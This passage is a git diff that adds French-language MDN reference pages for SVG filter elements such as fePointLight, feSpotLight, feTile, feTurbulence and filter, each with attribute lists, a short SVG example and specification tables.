+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Effets de filtre</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fepointlight/index.html b/files/fr/web/svg/element/fepointlight/index.html
new file mode 100644
index 0000000000..f4c61aa944
--- /dev/null
+++ b/files/fr/web/svg/element/fepointlight/index.html
@@ -0,0 +1,105 @@
+---
+title: <fePointLight>
+slug: Web/SVG/Element/fePointLight
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+  - SVG Light Source
+translation_of: Web/SVG/Element/fePointLight
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <strong><code>&lt;fePointLight&gt;</code></strong> définit une source de lumière qui permet de créer un point lumineux. On la place dans une primitive de filtre d'éclairage: {{SVGElement("feDiffuseLighting")}} or {{SVGElement("feSpecularLighting")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("x")}}</li>
+ <li>{{SVGAttr("y")}}</li>
+ <li>{{SVGAttr("z")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFEPointLightElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[7]">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"
+    xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;filter id="spotlight"&gt;
+      &lt;feSpecularLighting result="spotlight" specularConstant="1.5"
+          specularExponent="80" lighting-color="#FFF"&gt;
+        &lt;fePointLight x="50" y="50" z="220"/&gt;
+      &lt;/feSpecularLighting&gt;
+      &lt;feComposite in="SourceGraphic" in2="spotlight" operator="arithmetic"
+          k1="0" k2="1" k3="1" k4="0"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+
+  &lt;image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%"
+      width="80%" height="80%" style="filter:url(#spotlight);"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 200, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#fePointLightElement', '&lt;fePointLight&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#fePointLightElement', '&lt;fePointLight&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.fePointLight")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feDistantLight")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fespecularlighting/index.html b/files/fr/web/svg/element/fespecularlighting/index.html
new file mode 100644
index 0000000000..c7c6738409
--- /dev/null
+++ b/files/fr/web/svg/element/fespecularlighting/index.html
@@ -0,0 +1,119 @@
+---
+title: <feSpecularLighting>
+slug: Web/SVG/Element/feSpecularLighting
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+  - SVG Light Source
+translation_of: Web/SVG/Element/feSpecularLighting
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feSpecularLighting&gt;</code></strong> éclaire une image en utilisant son canal alpha en tant que relief. L'image résultante est une image RGBA qui dépend de la couleur de la lumière, de sa position et du relief de l'image en entrée. Le calcul de l'éclairage se fait suivant le <a href="https://fr.wikipedia.org/wiki/Ombrage_de_Phong">modèle d'illumination de Phong</a>.</p>
+
+<p>La lumière crée par cette primitive de filtre peut être combinée avec une image de texture à l'aide de l'opérateur <code>arithmetic</code> de la primitive de filtre {{SVGElement("feComposite")}}. De multiples sources lumineuses peuvent être simulées en ajoutant plusieurs éléments à la texture.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitive de filtre</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("surfaceScale")}}</li>
+ <li>{{SVGAttr("specularConstant")}}</li>
+ <li>{{SVGAttr("specularExponent")}}</li>
+ <li>{{SVGAttr("kernelUnitLength")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFESpecularLightingElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html; highlight[4-7]">&lt;svg height="200" width="200" viewBox="0 0 220 220"
+    xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id = "filter"&gt;
+    &lt;feSpecularLighting result="specOut"
+        specularExponent="20" lighting-color="#bbbbbb"&gt;
+      &lt;fePointLight x="50" y="75" z="200"/&gt;
+    &lt;/feSpecularLighting&gt;
+    &lt;feComposite in="SourceGraphic" in2="specOut"
+        operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/&gt;
+  &lt;/filter&gt;
+  &lt;circle cx="110" cy="110" r="100" style="filter:url(#filter)"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 220, 220)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feSpecularLightingElement', '&lt;feSpecularLighting&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Suppression de la limitation sur l'attribut <code>specularExponent</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feSpecularLightingElement', '&lt;feSpecularLighting&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feSpecularLighting")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feDistantLight")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fespotlight/index.html b/files/fr/web/svg/element/fespotlight/index.html
new file mode 100644
index 0000000000..41d78dc112
--- /dev/null
+++ b/files/fr/web/svg/element/fespotlight/index.html
@@ -0,0 +1,110 @@
+---
+title: <feSpotLight>
+slug: Web/SVG/Element/feSpotLight
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+  - SVG Light Source
+translation_of: Web/SVG/Element/feSpotLight
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feSpotLight&gt;</code></strong> définit une source de lumière qui permet de créer un feu de projecteur. On la place dans une primitive de filtre d'éclairage: {{SVGElement("feDiffuseLighting")}} ou {{SVGElement("feSpecularLighting")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("x")}}</li>
+ <li>{{SVGAttr("y")}}</li>
+ <li>{{SVGAttr("z")}}</li>
+ <li>{{SVGAttr("pointsAtX")}}</li>
+ <li>{{SVGAttr("pointsAtY")}}</li>
+ <li>{{SVGAttr("pointsAtZ")}}</li>
+ <li>{{SVGAttr("specularExponent")}}</li>
+ <li>{{SVGAttr("limitingConeAngle")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFESpotLightElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"
+    xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;filter id="spotlight"&gt;
+      &lt;feSpecularLighting result="spotlight" specularConstant="1.5"
+          specularExponent="4" lighting-color="#FFF"&gt;
+        &lt;feSpotLight x="600" y="600" z="400" limitingConeAngle="5.5" /&gt;
+      &lt;/feSpecularLighting&gt;
+      &lt;feComposite in="SourceGraphic" in2="spotlight" operator="out"
+          k1="0" k2="1" k3="1" k4="0"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+
+  &lt;image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%"
+      width="80%" height="80%" style="filter:url(#spotlight);"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 200, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Filters 1.0", "#feSpotLightElement", "&lt;feSpotLight&gt;")}}</td>
+   <td>{{Spec2("Filters 1.0")}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#feSpotLightElement", "&lt;feSpotLight&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feSpotLight")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feDistantLight")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/fetile/index.html b/files/fr/web/svg/element/fetile/index.html
new file mode 100644
index 0000000000..5b015c82db
--- /dev/null
+++ b/files/fr/web/svg/element/fetile/index.html
@@ -0,0 +1,115 @@
+---
+title: <feTile>
+slug: Web/SVG/Element/feTile
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feTile
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feTile&gt;</code></strong> permet de remplir un rectangle cible avec un motif en mosaïque qui répète une image en entrée. L'effet est similaire à ce que l'on obtient avec {{SVGElement("pattern")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitives de filtre</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFETileElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[7]">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"
+    xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;filter id="tile" x="0" y="0" width="100%" height="100%"&gt;
+      &lt;feTile in="SourceGraphic" x="50" y="50"
+          width="100" height="100" /&gt;
+      &lt;feTile/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+
+  &lt;image xlink:href="/files/6457/mdn_logo_only_color.png"
+      x="10%" y="10%" width="80%" height="80%"
+      style="filter:url(#tile);"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 200, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feTileElement', '&lt;feTile&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feTileElement', '&lt;feTile&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feTile")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/en-US/docs/Web/SVG/Tutorial/Filter_effects">SVG tutorial: Filter effects</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/feturbulence/index.html b/files/fr/web/svg/element/feturbulence/index.html
new file mode 100644
index 0000000000..f94488cbb4
--- /dev/null
+++ b/files/fr/web/svg/element/feturbulence/index.html
@@ -0,0 +1,113 @@
+---
+title: <feTurbulence>
+slug: Web/SVG/Element/feTurbulence
+tags:
+  - Element
+  - SVG
+  - SVG Filter
+translation_of: Web/SVG/Element/feTurbulence
+---
+<div>{{SVGRef}}</div>
+
+<p>La primitive de filtre <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;feTurbulence&gt;</code></strong> crée une image en utilisant la <a href="https://fr.wikipedia.org/wiki/Bruit_de_Perlin">fonction de turbulence de Perlin</a>. Cela permet de créer des textures artificielles comme des nuages, du marbre, etc.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_primitives_de_filtre">Attributs de primitive de filtre</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("baseFrequency")}}</li>
+ <li>{{SVGAttr("numOctaves")}}</li>
+ <li>{{SVGAttr("seed")}}</li>
+ <li>{{SVGAttr("stitchTiles")}}</li>
+ <li>{{SVGAttr("type")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFETurbulenceElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html; highlight[4-5]">&lt;svg width="200" height="200" viewBox="0 0 220 220"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="displacementFilter"&gt;
+    &lt;feTurbulence type="turbulence" baseFrequency="0.05"
+        numOctaves="2" result="turbulence"/&gt;
+    &lt;feDisplacementMap in2="turbulence" in="SourceGraphic"
+        scale="50" xChannelSelector="R" yChannelSelector="G"/&gt;
+  &lt;/filter&gt;
+
+  &lt;circle cx="100" cy="100" r="100"
+      style="filter: url(#displacementFilter)"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemple', 220, 220)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Filters 1.0', '#feTurbulenceElement', '&lt;feTurbulence&gt;')}}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'filters.html#feTurbulenceElement', '&lt;feTurbulence&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.feTurbulence")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/filter/index.html b/files/fr/web/svg/element/filter/index.html
new file mode 100644
index 0000000000..1bc2cd02c5
--- /dev/null
+++ b/files/fr/web/svg/element/filter/index.html
@@ -0,0 +1,120 @@
+---
+title: <filter>
+slug: Web/SVG/Element/filter
+tags:
+  - Element
+  - SVG
+translation_of: Web/SVG/Element/filter
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <a href="/fr/docs/Web/SVG">SVG</a> <strong><code>&lt;filter&gt;</code></strong> sert de conteneur pour définir des opérations de filtre. Il n'est jamais affiché par lui-même, il est référencé en utilisant l'attribut {{SVGAttr("filter")}} sur un élément SVG ou via la propriété  {{Glossary("CSS")}} {{cssxref("filter")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_XLink">Attributs XLink</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("x")}}</li>
+ <li>{{SVGAttr("y")}}</li>
+ <li>{{SVGAttr("width")}}</li>
+ <li>{{SVGAttr("height")}}</li>
+ <li>{{SVGAttr("filterRes")}}</li>
+ <li>{{SVGAttr("filterUnits")}}</li>
+ <li>{{SVGAttr("primitiveUnits")}}</li>
+ <li>{{SVGAttr("xlink:href")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGFilterElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h4 id="SVG">SVG</h4>
+
+<pre class="brush: html">&lt;svg width="230" height="120"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+ &lt;filter id="blurMe"&gt;
+  &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5"/&gt;
+ &lt;/filter&gt;
+
+ &lt;circle cx="60"  cy="60" r="50" fill="green" /&gt;
+
+ &lt;circle cx="170" cy="60" r="50" fill="green"
+          filter="url(#blurMe)" /&gt;
+&lt;/svg&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple",232,124,"/files/4227/feGaussianBlur.png")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Filters 1.0", "#FilterElement", "&lt;filter&gt;")}}</td>
+   <td>{{Spec2("Filters 1.0")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#FilterElement", "&lt;filter&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.filter")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feDropShadow")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Tutoriel SVG: Filtres</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/foreignobject/index.html b/files/fr/web/svg/element/foreignobject/index.html
new file mode 100644
index 0000000000..c2f6e186ec
--- /dev/null
+++ b/files/fr/web/svg/element/foreignobject/index.html
@@ -0,0 +1,121 @@
+---
+title: <foreignObject>
+slug: Web/SVG/Element/foreignObject
+tags:
+  - Element
+  - Reference
+  - SVG
+translation_of: Web/SVG/Element/foreignObject
+---
+<div>{{SVGRef}}</div>
+
